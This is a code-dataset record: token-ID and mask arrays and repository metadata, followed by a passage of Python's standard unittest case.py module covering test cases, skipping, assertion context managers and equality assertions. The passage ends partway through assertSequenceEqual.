1062,
291,
14,
2105,
985,
4059,
288,
2202,
14,
2168,
10804,
398,
291,
14,
6062,
14,
8159,
342,
267,
372
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
624,
199,
15,
17623,
199,
985,
463,
520,
6249,
13537,
199,
5831,
3515,
520,
8692,
5256,
3589,
367,
27024,
199,
2506,
463,
520,
10162,
6546,
12,
7760,
199,
7307,
3322,
520,
334,
35,
9,
7760,
701,
598,
73,
1180,
80,
321,
428,
947,
313,
317,
199,
2123,
4483,
520,
31101,
14,
369,
1435,
32,
6799,
14,
957,
421,
1011,
14355,
15870,
199,
199,
15,
17623,
199,
627,
17997,
627,
199,
627,
257,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
221,
627,
199,
627,
257,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
221,
627,
199,
627,
257,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
258,
627,
199,
627,
257,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
15530,
627,
199,
627,
17997,
627,
199,
1011,
14355,
15870,
199,
624,
199,
504,
12963,
492,
620,
199,
504,
12963,
492,
1425,
199,
199,
504,
15640,
14,
24107,
14,
10901,
492,
3959,
12,
1413,
1692,
12,
27149,
11274,
12,
1413,
4861,
3836,
199,
199,
504,
15640,
14,
24107,
14,
29081,
492,
334,
272,
1413,
2821,
4798,
12,
272,
1413,
17491,
12,
272,
1413,
20530,
12,
272,
1413,
5619,
4259,
3532,
12,
272,
1413,
20083,
12,
272,
1413,
4314,
12,
272,
29469,
12,
272,
1413,
3310,
12,
272,
1413,
5977,
12,
272,
1413,
3205,
5619,
12,
272,
25159,
12,
272,
1413,
5619,
12,
272,
1413,
3339,
199,
9,
199,
199,
504,
15640,
14,
24107,
14,
10604,
492,
1413,
1197,
5826,
199,
199,
504,
15640,
14,
1018,
492,
334,
272,
1413,
5668,
12,
272,
4888,
5039,
12,
272,
4888,
5268,
12,
272,
31545,
5003,
804,
12,
272,
4888,
55,
7862,
4100,
12,
272,
4888,
6663,
3225,
1726,
12,
272,
4888,
6663,
10899,
12,
272,
22507,
12,
272,
4888,
13284,
5003,
12,
272,
4888,
4761,
12,
272,
4888,
2209,
2445,
12,
272,
4888,
18017,
5083,
3989,
199,
9,
199,
199,
504,
15640,
14,
5885,
492,
334,
272,
4888,
2209,
5281,
2081,
12,
272,
4888,
23706,
7713,
3339,
199,
9,
199,
199,
504,
2508,
697,
63,
5265,
492,
1218,
8882,
5061,
421,
199,
533,
3523,
547,
8,
1726,
304,
272,
408,
1563,
1021,
367,
4967,
315,
314,
3589,
1041,
339,
347,
636,
826,
721,
277,
12,
325,
304,
267,
340,
1228,
8,
69,
12,
2186,
304,
288,
1499,
275,
325,
14,
589,
59,
16,
61,
340,
822,
8,
69,
14,
589,
9,
690,
378,
587,
2125,
267,
587,
26,
288,
1499,
275,
325,
398,
340,
440,
1228,
8,
1328,
12,
620,
304,
288,
1499,
275,
620,
8,
1328,
12,
283,
1624,
13,
24,
297,
283,
1814,
358,
221,
327,
3957,
687,
2774,
24,
436,
3350,
2552,
334,
692,
1263,
9,
398,
291,
14,
1328,
275,
1499,
267,
2186,
855,
826,
721,
277,
12,
1499,
9,
339,
347,
636,
2975,
721,
277,
304,
267,
372,
291,
14,
1328,
421,
199,
533,
6378,
1451,
1726,
8,
1563,
547,
304,
272,
986,
421,
199,
533,
25417,
8,
1563,
547,
304,
272,
986,
421,
199,
533,
28822,
547,
8,
1563,
547,
304,
339,
347,
636,
826,
721,
277,
12,
325,
12,
1827,
29,
403,
304,
267,
3523,
547,
855,
826,
721,
277,
12,
325,
9,
267,
291,
14,
1131,
275,
620,
8,
1131,
9,
340,
1827,
365,
440,
488,
587,
488,
339,
347,
636,
2975,
721,
277,
304,
267,
340,
291,
14,
1131,
365,
488,
26,
288,
372,
3523,
547,
855,
2975,
721,
277,
9,
398,
1499,
275,
29469,
14,
5275,
480,
2846,
2988,
5061,
401,
298,
547,
3427,
78,
91,
16,
30273,
908,
8,
1563,
547,
855,
2975,
721,
277,
430,
267,
340,
291,
14,
1131,
26,
288,
1499,
847,
29469,
14,
5275,
480,
2846,
2988,
5061,
401,
1867,
78,
60,
78,
3227,
3427,
78,
91,
16,
30273,
908,
8,
277,
14,
1131,
9,
267,
372,
1499,
421,
199,
533,
6249,
5061,
8,
32260,
304,
272,
5463,
275,
27149,
11274,
342,
272,
2896,
275,
27149,
11274,
342,
272,
3595,
1378,
4001,
275,
27149,
11274,
342,
339,
347,
636,
826,
721,
277,
12,
2557,
63,
354,
12,
1676,
29,
403,
304,
267,
1413,
1692,
855,
826,
721,
277,
12,
1676,
9,
267,
291,
14,
1631,
985,
275,
2557,
63,
354,
267,
291,
14,
697,
275,
488,
339,
347,
636,
2264,
721,
277,
304,
267,
986,
221,
327,
870,
298,
2846,
5061,
855,
2264,
13915,
291,
14,
1631,
985,
339,
347,
1950,
8954,
8,
277,
304,
267,
372,
4888,
5039,
14,
362,
16849,
8954,
4769,
77,
8954,
8882,
6700,
14,
10273,
531,
339,
347,
1950,
985,
8,
277,
304,
267,
372,
291,
14,
1631,
985,
339,
347,
3050,
8,
277,
304,
267,
372,
291,
14,
697,
339,
347,
2256,
8,
277,
304,
267,
687,
1275,
815,
63,
1238,
492,
8692,
2354,
398,
372,
8692,
2354,
8,
403,
9,
339,
347,
4907,
8,
277,
12,
1676,
29,
403,
304,
267,
746,
4279,
360,
28390,
370,
506,
6366,
701,
9180,
358,
339,
347,
4907,
1378,
14014,
8,
277,
12,
5108,
304,
267,
291,
14,
697,
275,
291,
14,
17439,
2927,
8,
277,
12,
5108,
9,
267,
340,
291,
14,
697,
26,
288,
372,
715,
267,
372,
756,
339,
347,
30882,
8,
277,
304,
267,
340,
291,
14,
697,
365,
440,
488,
26,
288,
5108,
275,
291,
14,
697,
14,
2302,
342,
288,
291,
14,
697,
14,
1807,
22028,
342,
288,
291,
14,
697,
275,
488,
288,
372,
291,
14,
2242,
1378,
14014,
8,
2302,
9,
267,
372,
291,
14,
2242,
8,
277,
14,
1708,
1012,
339,
347,
2813,
8,
277,
304,
398,
327,
7649,
314,
892,
3261,
1642,
12,
9567,
370,
12139,
267,
862,
26,
288,
6128,
275,
4888,
6663,
10899,
14,
842,
1252,
3780,
5142,
8,
277,
14,
3780,
985,
1012,
288,
6128,
14,
1807,
3225,
8,
277,
14,
2105,
985,
1012,
267,
871,
334,
10227,
12,
4888,
6663,
3225,
1726,
304,
288,
2202,
275,
4888,
5268,
342,
288,
2202,
14,
5037,
2448,
8,
85,
2,
3149,
83,
3149,
83,
2,
450,
334,
277,
14,
2105,
5268,
1197,
1062,
291,
14,
2105,
985,
4059,
288,
2202,
14,
2168,
10804,
398,
291,
14,
6062,
14,
8159,
342,
267,
372,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
fhaoquan/kbengine
|
kbe/res/scripts/common/Lib/unittest/case.py
|
69
|
55519
|
"""Test case implementation"""
import sys
import functools
import difflib
import logging
import pprint
import re
import warnings
import collections
import contextlib
import traceback
from . import result
from .util import (strclass, safe_repr, _count_diff_all_purpose,
_count_diff_hashable, _common_shorten_repr)
__unittest = True
DIFF_OMITTED = ('\nDiff is %s characters long. '
'Set self.maxDiff to None to see it.')
class SkipTest(Exception):
"""
Raise this exception in a test to skip it.
Usually you can use TestCase.skipTest() or one of the skipping decorators
instead of raising this directly.
"""
class _ShouldStop(Exception):
"""
The test should stop.
"""
class _UnexpectedSuccess(Exception):
"""
The test was supposed to fail, but it didn't!
"""
class _Outcome(object):
def __init__(self, result=None):
self.expecting_failure = False
self.result = result
self.result_supports_subtests = hasattr(result, "addSubTest")
self.success = True
self.skipped = []
self.expectedFailure = None
self.errors = []
@contextlib.contextmanager
def testPartExecutor(self, test_case, isTest=False):
old_success = self.success
self.success = True
try:
yield
except KeyboardInterrupt:
raise
except SkipTest as e:
self.success = False
self.skipped.append((test_case, str(e)))
except _ShouldStop:
pass
except:
exc_info = sys.exc_info()
if self.expecting_failure:
self.expectedFailure = exc_info
else:
self.success = False
self.errors.append((test_case, exc_info))
# explicitly break a reference cycle:
# exc_info -> frame -> exc_info
exc_info = None
else:
if self.result_supports_subtests and self.success:
self.errors.append((test_case, None))
finally:
self.success = self.success and old_success
def _id(obj):
return obj
def skip(reason):
"""
Unconditionally skip a test.
"""
def decorator(test_item):
if not isinstance(test_item, type):
@functools.wraps(test_item)
def skip_wrapper(*args, **kwargs):
raise SkipTest(reason)
test_item = skip_wrapper
test_item.__unittest_skip__ = True
test_item.__unittest_skip_why__ = reason
return test_item
return decorator
def skipIf(condition, reason):
"""
Skip a test if the condition is true.
"""
if condition:
return skip(reason)
return _id
def skipUnless(condition, reason):
"""
Skip a test unless the condition is true.
"""
if not condition:
return skip(reason)
return _id
def expectedFailure(test_item):
test_item.__unittest_expecting_failure__ = True
return test_item
class _BaseTestCaseContext:
def __init__(self, test_case):
self.test_case = test_case
def _raiseFailure(self, standardMsg):
msg = self.test_case._formatMessage(self.msg, standardMsg)
raise self.test_case.failureException(msg)
class _AssertRaisesBaseContext(_BaseTestCaseContext):
def __init__(self, expected, test_case, callable_obj=None,
expected_regex=None):
_BaseTestCaseContext.__init__(self, test_case)
self.expected = expected
self.test_case = test_case
if callable_obj is not None:
try:
self.obj_name = callable_obj.__name__
except AttributeError:
self.obj_name = str(callable_obj)
else:
self.obj_name = None
if expected_regex is not None:
expected_regex = re.compile(expected_regex)
self.expected_regex = expected_regex
self.msg = None
def handle(self, name, callable_obj, args, kwargs):
"""
If callable_obj is None, assertRaises/Warns is being used as a
context manager, so check for a 'msg' kwarg and return self.
If callable_obj is not None, call it passing args and kwargs.
"""
if callable_obj is None:
self.msg = kwargs.pop('msg', None)
return self
with self:
callable_obj(*args, **kwargs)
class _AssertRaisesContext(_AssertRaisesBaseContext):
"""A context manager used to implement TestCase.assertRaises* methods."""
def __enter__(self):
return self
def __exit__(self, exc_type, exc_value, tb):
if exc_type is None:
try:
exc_name = self.expected.__name__
except AttributeError:
exc_name = str(self.expected)
if self.obj_name:
self._raiseFailure("{} not raised by {}".format(exc_name,
self.obj_name))
else:
self._raiseFailure("{} not raised".format(exc_name))
else:
traceback.clear_frames(tb)
if not issubclass(exc_type, self.expected):
# let unexpected exceptions pass through
return False
# store exception, without traceback, for later retrieval
self.exception = exc_value.with_traceback(None)
if self.expected_regex is None:
return True
expected_regex = self.expected_regex
if not expected_regex.search(str(exc_value)):
self._raiseFailure('"{}" does not match "{}"'.format(
expected_regex.pattern, str(exc_value)))
return True
class _AssertWarnsContext(_AssertRaisesBaseContext):
"""A context manager used to implement TestCase.assertWarns* methods."""
def __enter__(self):
# The __warningregistry__'s need to be in a pristine state for tests
# to work properly.
for v in sys.modules.values():
if getattr(v, '__warningregistry__', None):
v.__warningregistry__ = {}
self.warnings_manager = warnings.catch_warnings(record=True)
self.warnings = self.warnings_manager.__enter__()
warnings.simplefilter("always", self.expected)
return self
def __exit__(self, exc_type, exc_value, tb):
self.warnings_manager.__exit__(exc_type, exc_value, tb)
if exc_type is not None:
# let unexpected exceptions pass through
return
try:
exc_name = self.expected.__name__
except AttributeError:
exc_name = str(self.expected)
first_matching = None
for m in self.warnings:
w = m.message
if not isinstance(w, self.expected):
continue
if first_matching is None:
first_matching = w
if (self.expected_regex is not None and
not self.expected_regex.search(str(w))):
continue
# store warning for later retrieval
self.warning = w
self.filename = m.filename
self.lineno = m.lineno
return
# Now we simply try to choose a helpful failure message
if first_matching is not None:
self._raiseFailure('"{}" does not match "{}"'.format(
self.expected_regex.pattern, str(first_matching)))
if self.obj_name:
self._raiseFailure("{} not triggered by {}".format(exc_name,
self.obj_name))
else:
self._raiseFailure("{} not triggered".format(exc_name))
_LoggingWatcher = collections.namedtuple("_LoggingWatcher",
["records", "output"])
class _CapturingHandler(logging.Handler):
"""
A logging handler capturing all (raw and formatted) logging output.
"""
def __init__(self):
logging.Handler.__init__(self)
self.watcher = _LoggingWatcher([], [])
def flush(self):
pass
def emit(self, record):
self.watcher.records.append(record)
msg = self.format(record)
self.watcher.output.append(msg)
class _AssertLogsContext(_BaseTestCaseContext):
"""A context manager used to implement TestCase.assertLogs()."""
LOGGING_FORMAT = "%(levelname)s:%(name)s:%(message)s"
def __init__(self, test_case, logger_name, level):
_BaseTestCaseContext.__init__(self, test_case)
self.logger_name = logger_name
if level:
self.level = logging._nameToLevel.get(level, level)
else:
self.level = logging.INFO
self.msg = None
def __enter__(self):
if isinstance(self.logger_name, logging.Logger):
logger = self.logger = self.logger_name
else:
logger = self.logger = logging.getLogger(self.logger_name)
formatter = logging.Formatter(self.LOGGING_FORMAT)
handler = _CapturingHandler()
handler.setFormatter(formatter)
self.watcher = handler.watcher
self.old_handlers = logger.handlers[:]
self.old_level = logger.level
self.old_propagate = logger.propagate
logger.handlers = [handler]
logger.setLevel(self.level)
logger.propagate = False
return handler.watcher
def __exit__(self, exc_type, exc_value, tb):
self.logger.handlers = self.old_handlers
self.logger.propagate = self.old_propagate
self.logger.setLevel(self.old_level)
if exc_type is not None:
# let unexpected exceptions pass through
return False
if len(self.watcher.records) == 0:
self._raiseFailure(
"no logs of level {} or higher triggered on {}"
.format(logging.getLevelName(self.level), self.logger.name))
class TestCase(object):
"""A class whose instances are single test cases.
By default, the test code itself should be placed in a method named
'runTest'.
If the fixture may be used for many test cases, create as
many test methods as are needed. When instantiating such a TestCase
subclass, specify in the constructor arguments the name of the test method
that the instance is to execute.
Test authors should subclass TestCase for their own tests. Construction
and deconstruction of the test's environment ('fixture') can be
implemented by overriding the 'setUp' and 'tearDown' methods respectively.
If it is necessary to override the __init__ method, the base class
__init__ method must always be called. It is important that subclasses
should not change the signature of their __init__ method, since instances
of the classes are instantiated automatically by parts of the framework
in order to be run.
When subclassing TestCase, you can set these attributes:
* failureException: determines which exception will be raised when
the instance's assertion methods fail; test methods raising this
exception will be deemed to have 'failed' rather than 'errored'.
* longMessage: determines whether long messages (including repr of
objects used in assert methods) will be printed on failure in *addition*
to any explicit message passed.
* maxDiff: sets the maximum length of a diff in failure messages
by assert methods using difflib. It is looked up as an instance
attribute so can be configured by individual tests if required.
"""
failureException = AssertionError
longMessage = True
maxDiff = 80*8
# If a string is longer than _diffThreshold, use normal comparison instead
# of difflib. See #11763.
_diffThreshold = 2**16
# Attribute used by TestSuite for classSetUp
_classSetupFailed = False
def __init__(self, methodName='runTest'):
"""Create an instance of the class that will use the named test
method when executed. Raises a ValueError if the instance does
not have a method with the specified name.
"""
self._testMethodName = methodName
self._outcome = None
self._testMethodDoc = 'No test'
try:
testMethod = getattr(self, methodName)
except AttributeError:
if methodName != 'runTest':
# we allow instantiation with no explicit method name
# but not an *incorrect* or missing method name
raise ValueError("no such test method in %s: %s" %
(self.__class__, methodName))
else:
self._testMethodDoc = testMethod.__doc__
self._cleanups = []
self._subtest = None
# Map types to custom assertEqual functions that will compare
# instances of said type in more detail to generate a more useful
# error message.
self._type_equality_funcs = {}
self.addTypeEqualityFunc(dict, 'assertDictEqual')
self.addTypeEqualityFunc(list, 'assertListEqual')
self.addTypeEqualityFunc(tuple, 'assertTupleEqual')
self.addTypeEqualityFunc(set, 'assertSetEqual')
self.addTypeEqualityFunc(frozenset, 'assertSetEqual')
self.addTypeEqualityFunc(str, 'assertMultiLineEqual')
def addTypeEqualityFunc(self, typeobj, function):
"""Add a type specific assertEqual style function to compare a type.
This method is for use by TestCase subclasses that need to register
their own type equality functions to provide nicer error messages.
Args:
typeobj: The data type to call this function on when both values
are of the same type in assertEqual().
function: The callable taking two arguments and an optional
msg= argument that raises self.failureException with a
useful error message when the two arguments are not equal.
"""
self._type_equality_funcs[typeobj] = function
def addCleanup(self, function, *args, **kwargs):
"""Add a function, with arguments, to be called when the test is
completed. Functions added are called on a LIFO basis and are
called after tearDown on test failure or success.
Cleanup items are called even if setUp fails (unlike tearDown)."""
self._cleanups.append((function, args, kwargs))
def setUp(self):
"Hook method for setting up the test fixture before exercising it."
pass
def tearDown(self):
"Hook method for deconstructing the test fixture after testing it."
pass
@classmethod
def setUpClass(cls):
"Hook method for setting up class fixture before running tests in the class."
@classmethod
def tearDownClass(cls):
"Hook method for deconstructing the class fixture after running all tests in the class."
def countTestCases(self):
return 1
def defaultTestResult(self):
return result.TestResult()
def shortDescription(self):
"""Returns a one-line description of the test, or None if no
description has been provided.
The default implementation of this method returns the first line of
the specified test method's docstring.
"""
doc = self._testMethodDoc
return doc and doc.split("\n")[0].strip() or None
def id(self):
return "%s.%s" % (strclass(self.__class__), self._testMethodName)
def __eq__(self, other):
if type(self) is not type(other):
return NotImplemented
return self._testMethodName == other._testMethodName
def __hash__(self):
return hash((type(self), self._testMethodName))
def __str__(self):
return "%s (%s)" % (self._testMethodName, strclass(self.__class__))
def __repr__(self):
return "<%s testMethod=%s>" % \
(strclass(self.__class__), self._testMethodName)
def _addSkip(self, result, test_case, reason):
addSkip = getattr(result, 'addSkip', None)
if addSkip is not None:
addSkip(test_case, reason)
else:
warnings.warn("TestResult has no addSkip method, skips not reported",
RuntimeWarning, 2)
result.addSuccess(test_case)
@contextlib.contextmanager
def subTest(self, msg=None, **params):
"""Return a context manager that will return the enclosed block
of code in a subtest identified by the optional message and
keyword parameters. A failure in the subtest marks the test
case as failed but resumes execution at the end of the enclosed
block, allowing further test code to be executed.
"""
if not self._outcome.result_supports_subtests:
yield
return
parent = self._subtest
if parent is None:
params_map = collections.ChainMap(params)
else:
params_map = parent.params.new_child(params)
self._subtest = _SubTest(self, msg, params_map)
try:
with self._outcome.testPartExecutor(self._subtest, isTest=True):
yield
if not self._outcome.success:
result = self._outcome.result
if result is not None and result.failfast:
raise _ShouldStop
elif self._outcome.expectedFailure:
# If the test is expecting a failure, we really want to
# stop now and register the expected failure.
raise _ShouldStop
finally:
self._subtest = parent
def _feedErrorsToResult(self, result, errors):
for test, exc_info in errors:
if isinstance(test, _SubTest):
result.addSubTest(test.test_case, test, exc_info)
elif exc_info is not None:
if issubclass(exc_info[0], self.failureException):
result.addFailure(test, exc_info)
else:
result.addError(test, exc_info)
def _addExpectedFailure(self, result, exc_info):
try:
addExpectedFailure = result.addExpectedFailure
except AttributeError:
warnings.warn("TestResult has no addExpectedFailure method, reporting as passes",
RuntimeWarning)
result.addSuccess(self)
else:
addExpectedFailure(self, exc_info)
def _addUnexpectedSuccess(self, result):
try:
addUnexpectedSuccess = result.addUnexpectedSuccess
except AttributeError:
warnings.warn("TestResult has no addUnexpectedSuccess method, reporting as failure",
RuntimeWarning)
# We need to pass an actual exception and traceback to addFailure,
# otherwise the legacy result can choke.
try:
raise _UnexpectedSuccess from None
except _UnexpectedSuccess:
result.addFailure(self, sys.exc_info())
else:
addUnexpectedSuccess(self)
def run(self, result=None):
orig_result = result
if result is None:
result = self.defaultTestResult()
startTestRun = getattr(result, 'startTestRun', None)
if startTestRun is not None:
startTestRun()
result.startTest(self)
testMethod = getattr(self, self._testMethodName)
if (getattr(self.__class__, "__unittest_skip__", False) or
getattr(testMethod, "__unittest_skip__", False)):
# If the class or method was skipped.
try:
skip_why = (getattr(self.__class__, '__unittest_skip_why__', '')
or getattr(testMethod, '__unittest_skip_why__', ''))
self._addSkip(result, self, skip_why)
finally:
result.stopTest(self)
return
expecting_failure = getattr(testMethod,
"__unittest_expecting_failure__", False)
outcome = _Outcome(result)
try:
self._outcome = outcome
with outcome.testPartExecutor(self):
self.setUp()
if outcome.success:
outcome.expecting_failure = expecting_failure
with outcome.testPartExecutor(self, isTest=True):
testMethod()
outcome.expecting_failure = False
with outcome.testPartExecutor(self):
self.tearDown()
self.doCleanups()
for test, reason in outcome.skipped:
self._addSkip(result, test, reason)
self._feedErrorsToResult(result, outcome.errors)
if outcome.success:
if expecting_failure:
if outcome.expectedFailure:
self._addExpectedFailure(result, outcome.expectedFailure)
else:
self._addUnexpectedSuccess(result)
else:
result.addSuccess(self)
return result
finally:
result.stopTest(self)
if orig_result is None:
stopTestRun = getattr(result, 'stopTestRun', None)
if stopTestRun is not None:
stopTestRun()
# explicitly break reference cycles:
# outcome.errors -> frame -> outcome -> outcome.errors
# outcome.expectedFailure -> frame -> outcome -> outcome.expectedFailure
outcome.errors.clear()
outcome.expectedFailure = None
# clear the outcome, no more needed
self._outcome = None
def doCleanups(self):
"""Execute all cleanup functions. Normally called for you after
tearDown."""
outcome = self._outcome or _Outcome()
while self._cleanups:
function, args, kwargs = self._cleanups.pop()
with outcome.testPartExecutor(self):
function(*args, **kwargs)
# return this for backwards compatibility
# even though we no longer us it internally
return outcome.success
def __call__(self, *args, **kwds):
return self.run(*args, **kwds)
def debug(self):
"""Run the test without collecting errors in a TestResult"""
self.setUp()
getattr(self, self._testMethodName)()
self.tearDown()
while self._cleanups:
function, args, kwargs = self._cleanups.pop(-1)
function(*args, **kwargs)
def skipTest(self, reason):
"""Skip this test."""
raise SkipTest(reason)
def fail(self, msg=None):
"""Fail immediately, with the given message."""
raise self.failureException(msg)
def assertFalse(self, expr, msg=None):
"""Check that the expression is false."""
if expr:
msg = self._formatMessage(msg, "%s is not false" % safe_repr(expr))
raise self.failureException(msg)
def assertTrue(self, expr, msg=None):
"""Check that the expression is true."""
if not expr:
msg = self._formatMessage(msg, "%s is not true" % safe_repr(expr))
raise self.failureException(msg)
def _formatMessage(self, msg, standardMsg):
"""Honour the longMessage attribute when generating failure messages.
If longMessage is False this means:
* Use only an explicit message if it is provided
* Otherwise use the standard message for the assert
If longMessage is True:
* Use the standard message
* If an explicit message is provided, plus ' : ' and the explicit message
"""
if not self.longMessage:
return msg or standardMsg
if msg is None:
return standardMsg
try:
# don't switch to '{}' formatting in Python 2.X
# it changes the way unicode input is handled
return '%s : %s' % (standardMsg, msg)
except UnicodeDecodeError:
return '%s : %s' % (safe_repr(standardMsg), safe_repr(msg))
def assertRaises(self, excClass, callableObj=None, *args, **kwargs):
"""Fail unless an exception of class excClass is raised
by callableObj when invoked with arguments args and keyword
arguments kwargs. If a different type of exception is
raised, it will not be caught, and the test case will be
deemed to have suffered an error, exactly as for an
unexpected exception.
If called with callableObj omitted or None, will return a
context object used like this::
with self.assertRaises(SomeException):
do_something()
An optional keyword argument 'msg' can be provided when assertRaises
is used as a context object.
The context manager keeps a reference to the exception as
the 'exception' attribute. This allows you to inspect the
exception after the assertion::
with self.assertRaises(SomeException) as cm:
do_something()
the_exception = cm.exception
self.assertEqual(the_exception.error_code, 3)
"""
context = _AssertRaisesContext(excClass, self, callableObj)
return context.handle('assertRaises', callableObj, args, kwargs)
def assertWarns(self, expected_warning, callable_obj=None, *args, **kwargs):
"""Fail unless a warning of class warnClass is triggered
by callable_obj when invoked with arguments args and keyword
arguments kwargs. If a different type of warning is
triggered, it will not be handled: depending on the other
warning filtering rules in effect, it might be silenced, printed
out, or raised as an exception.
If called with callable_obj omitted or None, will return a
context object used like this::
with self.assertWarns(SomeWarning):
do_something()
An optional keyword argument 'msg' can be provided when assertWarns
is used as a context object.
The context manager keeps a reference to the first matching
warning as the 'warning' attribute; similarly, the 'filename'
and 'lineno' attributes give you information about the line
of Python code from which the warning was triggered.
This allows you to inspect the warning after the assertion::
with self.assertWarns(SomeWarning) as cm:
do_something()
the_warning = cm.warning
self.assertEqual(the_warning.some_attribute, 147)
"""
context = _AssertWarnsContext(expected_warning, self, callable_obj)
return context.handle('assertWarns', callable_obj, args, kwargs)
def assertLogs(self, logger=None, level=None):
"""Fail unless a log message of level *level* or higher is emitted
on *logger_name* or its children. If omitted, *level* defaults to
INFO and *logger* defaults to the root logger.
This method must be used as a context manager, and will yield
a recording object with two attributes: `output` and `records`.
At the end of the context manager, the `output` attribute will
be a list of the matching formatted log messages and the
`records` attribute will be a list of the corresponding LogRecord
objects.
Example::
with self.assertLogs('foo', level='INFO') as cm:
logging.getLogger('foo').info('first message')
logging.getLogger('foo.bar').error('second message')
self.assertEqual(cm.output, ['INFO:foo:first message',
'ERROR:foo.bar:second message'])
"""
return _AssertLogsContext(self, logger, level)
def _getAssertEqualityFunc(self, first, second):
"""Get a detailed comparison function for the types of the two args.
Returns: A callable accepting (first, second, msg=None) that will
raise a failure exception if first != second with a useful human
readable error message for those types.
"""
#
# NOTE(gregory.p.smith): I considered isinstance(first, type(second))
# and vice versa. I opted for the conservative approach in case
# subclasses are not intended to be compared in detail to their super
# class instances using a type equality func. This means testing
# subtypes won't automagically use the detailed comparison. Callers
# should use their type specific assertSpamEqual method to compare
# subclasses if the detailed comparison is desired and appropriate.
# See the discussion in http://bugs.python.org/issue2578.
#
if type(first) is type(second):
asserter = self._type_equality_funcs.get(type(first))
if asserter is not None:
if isinstance(asserter, str):
asserter = getattr(self, asserter)
return asserter
return self._baseAssertEqual
def _baseAssertEqual(self, first, second, msg=None):
"""The default assertEqual implementation, not type specific."""
if not first == second:
standardMsg = '%s != %s' % _common_shorten_repr(first, second)
msg = self._formatMessage(msg, standardMsg)
raise self.failureException(msg)
def assertEqual(self, first, second, msg=None):
"""Fail if the two objects are unequal as determined by the '=='
operator.
"""
assertion_func = self._getAssertEqualityFunc(first, second)
assertion_func(first, second, msg=msg)
def assertNotEqual(self, first, second, msg=None):
"""Fail if the two objects are equal as determined by the '!='
operator.
"""
if not first != second:
msg = self._formatMessage(msg, '%s == %s' % (safe_repr(first),
safe_repr(second)))
raise self.failureException(msg)
def assertAlmostEqual(self, first, second, places=None, msg=None,
delta=None):
"""Fail if the two objects are unequal as determined by their
difference rounded to the given number of decimal places
(default 7) and comparing to zero, or by comparing that the
between the two objects is more than the given delta.
Note that decimal places (from zero) are usually not the same
as significant digits (measured from the most signficant digit).
If the two objects compare equal then they will automatically
compare almost equal.
"""
if first == second:
# shortcut
return
if delta is not None and places is not None:
raise TypeError("specify delta or places not both")
if delta is not None:
if abs(first - second) <= delta:
return
standardMsg = '%s != %s within %s delta' % (safe_repr(first),
safe_repr(second),
safe_repr(delta))
else:
if places is None:
places = 7
if round(abs(second-first), places) == 0:
return
standardMsg = '%s != %s within %r places' % (safe_repr(first),
safe_repr(second),
places)
msg = self._formatMessage(msg, standardMsg)
raise self.failureException(msg)
def assertNotAlmostEqual(self, first, second, places=None, msg=None,
delta=None):
"""Fail if the two objects are equal as determined by their
difference rounded to the given number of decimal places
(default 7) and comparing to zero, or by comparing that the
between the two objects is less than the given delta.
Note that decimal places (from zero) are usually not the same
as significant digits (measured from the most signficant digit).
Objects that are equal automatically fail.
"""
if delta is not None and places is not None:
raise TypeError("specify delta or places not both")
if delta is not None:
if not (first == second) and abs(first - second) > delta:
return
standardMsg = '%s == %s within %s delta' % (safe_repr(first),
safe_repr(second),
safe_repr(delta))
else:
if places is None:
places = 7
if not (first == second) and round(abs(second-first), places) != 0:
return
standardMsg = '%s == %s within %r places' % (safe_repr(first),
safe_repr(second),
places)
msg = self._formatMessage(msg, standardMsg)
raise self.failureException(msg)
def assertSequenceEqual(self, seq1, seq2, msg=None, seq_type=None):
"""An equality assertion for ordered sequences (like lists and tuples).
For the purposes of this function, a valid ordered sequence type is one
which can be indexed, has a length, and has an equality operator.
Args:
seq1: The first sequence to compare.
seq2: The second sequence to compare.
seq_type: The expected datatype of the sequences, or None if no
datatype should be enforced.
msg: Optional message to use on failure instead of a list of
differences.
"""
if seq_type is not None:
seq_type_name = seq_type.__name__
if not isinstance(seq1, seq_type):
raise self.failureException('First sequence is not a %s: %s'
% (seq_type_name, safe_repr(seq1)))
if not isinstance(seq2, seq_type):
raise self.failureException('Second sequence is not a %s: %s'
% (seq_type_name, safe_repr(seq2)))
else:
seq_type_name = "sequence"
differing = None
try:
len1 = len(seq1)
except (TypeError, NotImplementedError):
